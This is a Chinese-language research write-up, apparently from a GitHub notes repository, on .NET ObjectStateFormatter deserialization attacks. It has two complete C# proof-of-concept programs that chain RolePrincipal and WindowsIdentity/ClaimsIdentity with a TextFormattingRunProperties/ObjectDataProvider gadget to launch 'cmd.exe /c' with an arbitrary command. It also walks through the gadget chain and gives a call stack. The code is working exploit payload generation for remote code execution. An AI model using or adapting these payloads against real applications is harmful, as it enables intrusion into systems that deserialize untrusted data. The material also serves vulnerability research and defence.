https://github.com/Y4er/dotnet-deserialization/blob/main/ObjectStateFormatter.md

ObjectStateFormatter

在06中就讲到的LosFormatter反序列化的时候 就会将字节流转到这个反序列化类来进行

ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key

(06中没有用到mac/key)

和LosFormatter一样 也是能接受stream和string类型的序列化

RolePrincipal

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace ObjectStateFormatterSerialize
{
class Program
{
static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
string b64payload;
using (MemoryStream m = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(m, calc);
b64payload = Convert.ToBase64String(m.ToArray());
}
RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
objectStateFormatter.Deserialize(p);
}


}
[Serializable]
public class RolePrincipalMarshal : ISerializable
{
public RolePrincipalMarshal(string b64payload)
{
B64Payload = b64payload;
}

private string B64Payload { get; }

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Web.Security.RolePrincipal));
info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}

Gadgets

先去看这个RolePrincipal的反序列化构造函数

image-20240306152938875

其用的是其父类ClaimsPrincipal的反序列化构造函数 我们跟进

image-20240306153053874

接着跟进这个Deserialize函数中

image-20240306153126203

发现其需要的是ClaimsPrincipal类中的Identities参数 先不知道这个参数是干啥的 我们接着跟进这个DeserializeIdentities函数中去

image-20240306153248282

发现其会先base64解码我们传入的值 然后进行反序列化操作

那么我们的目标就清晰了 只需将payload的base64编码在序列化的时候传入到System.Security.ClaimsPrincipal.Identities中就行了

WindowsPrincipal

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Security.Principal;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace ObjectStateFormatterSerialize
{
class Program
{
static void Main(string[] args)
{
// WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
// currentWI.Actor = new ClaimsIdentity();
// currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
// WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
// obj.wi = currentWI;
// string v = new ObjectStateFormatter().Serialize(obj);
// new ObjectStateFormatter().Deserialize(v);
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);
}


}
[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
public WindowsPrincipalMarshal() { }
public WindowsIdentity wi { get; set; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsPrincipal));
info.AddValue("m_identity", wi);
}
}

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}

Gadgets

其实这里用的原理就是ClaimsIdentity链子的原理

LosFormatter底层ObjectStatesFormatter会调用binaryformatter序列化和反序列化自身object字段

image-20240306171041228

image-20240306171108616

这里反序列化的时候 就会反序列化WindowsIdentity类 那么我们进入到这个类的反序列化构造函数中去

image-20240306171236950

发现其调用了其父类ClaimsIdentity的反序列化构造方法 我们接着跟进

image-20240306171249757

image-20240306171305016

又因为我们之前给了bootstrapContext赋值 那么这里的话就会对我们传入的字符串进行base64解码 然后再进行反序列化操作

这样就结束了

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ClaimsIdentity.Deserialize()
new ClaimsIdentity()
new WindowsIdentity()
new WindowsIdentity()
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject()
ObjectManager.FixupSpecialObject()
ObjectManager.DoFixups()
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
ObjectStateFormatter.DeserializeValue()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
ObjectStateFormatter.Deserialize()
Program.Main()

总结

06 07基本都是多加一个类少加一个类的关系 本质上差不多

除了关注反序列化方法传入的参数值,还需要注意使用LosFormatter和ObjectStatesFormatter可能会造成二次反序列化,要关注object类型的字段。

这两个反序列化的东西 都会反序列化其类里的object参数